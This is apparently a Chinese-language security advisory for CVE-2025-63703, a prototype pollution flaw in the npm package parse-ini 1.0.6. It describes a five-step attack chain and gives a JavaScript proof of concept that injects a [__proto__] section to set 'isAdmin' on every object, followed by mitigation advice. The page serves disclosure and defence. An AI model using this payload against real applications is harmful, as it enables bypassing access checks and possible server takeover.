IPBUF安全漏洞报告
English
CVE-2025-63703 CVSS 9.8 严重

CVE-2025-63703 parse-ini原型污染漏洞

披露日期: 2026-05-07

漏洞信息

漏洞编号
CVE-2025-63703
漏洞类型
原型污染
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
parse-ini

相关标签

Prototype Pollutionparse-ininpmRCECriticalJavaScript

漏洞概述

npm包parse-ini在处理INI配置文件时存在严重的安全缺陷。该漏洞允许攻击者通过精心构造的输入数据触发原型污染。由于该库未正确过滤特殊键名(如__proto__),攻击者可篡改JavaScript对象的原型链。鉴于CVSS评分9.8,此漏洞无需用户交互即可远程利用,严重影响应用的数据机密性、完整性和可用性。成功利用可能导致应用程序逻辑绕过或远程代码执行,建议立即修复。

技术细节

该漏洞的核心在于parse-ini库在解析INI格式数据时,未对键名进行安全校验。JavaScript对象基于原型链继承,当解析器遇到形如`__proto__.key`的键名时,若代码将其直接赋值给对象,便会修改`Object.prototype`。在parse-ini v1.0.6中,解析逻辑允许这种操作。攻击者只需提交包含`__proto__`恶意属性的INI内容,即可污染原型。一旦原型被污染,后续所有对象都将携带该恶意属性。这通常用于绕过权限验证(如`if (user.isAdmin)`),或在结合模板引擎等库时触发远程代码执行,造成服务器完全沦陷。

攻击链分析

STEP 1
侦察
攻击者确认目标应用程序使用了存在漏洞的parse-ini库(v1.0.6)来解析INI配置文件。
STEP 2
构造载荷
攻击者创建一个恶意的INI文件或字符串,其中包含旨在修改Object.prototype的特殊键名,如`[__proto__]`或`[constructor.prototype]`。
STEP 3
发送请求
攻击者通过网络向应用程序发送包含恶意载荷的请求,无需身份验证(PR:N)和用户交互(UI:N)。
STEP 4
触发漏洞
应用程序调用parse-ini库解析输入数据,由于未过滤危险键,解析器将属性赋值给全局对象原型。
STEP 5
造成影响
原型链被污染,攻击者可绕过应用逻辑检查,或结合其他技术实现远程代码执行(RCE),获取服务器控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2025-63703: parse-ini Prototype Pollution const { parse } = require('parse-ini'); // Malicious INI string targeting the prototype const maliciousInput = ` [__proto__] polluted = "vulnerable" isAdmin = true `; console.log("Before Parsing:"); console.log("Polluted:", ({}).polluted); console.log("IsAdmin:", ({}).isAdmin); // Trigger the vulnerability try { parse(maliciousInput); console.log("\nAfter Parsing:"); console.log("Polluted:", ({}).polluted); console.log("IsAdmin:", ({}).isAdmin); if (({}).polluted === "vulnerable") { console.log("\n[!] Vulnerability Confirmed: Prototype Pollution successful."); } } catch (e) { console.error(e); }

影响范围

parse-ini 1.0.6

防御指南

临时缓解措施
由于该漏洞无需认证即可利用且危害极大,建议立即采取缓解措施。如果无法立即升级,应在解析INI数据之前,在应用层添加中间件或预处理逻辑,严格校验并剔除所有包含`__proto__`、`constructor`及`prototype`等敏感字符串的键,阻断原型污染路径。同时,审查代码中是否存在依赖原型链进行的安全检查逻辑。

参考链接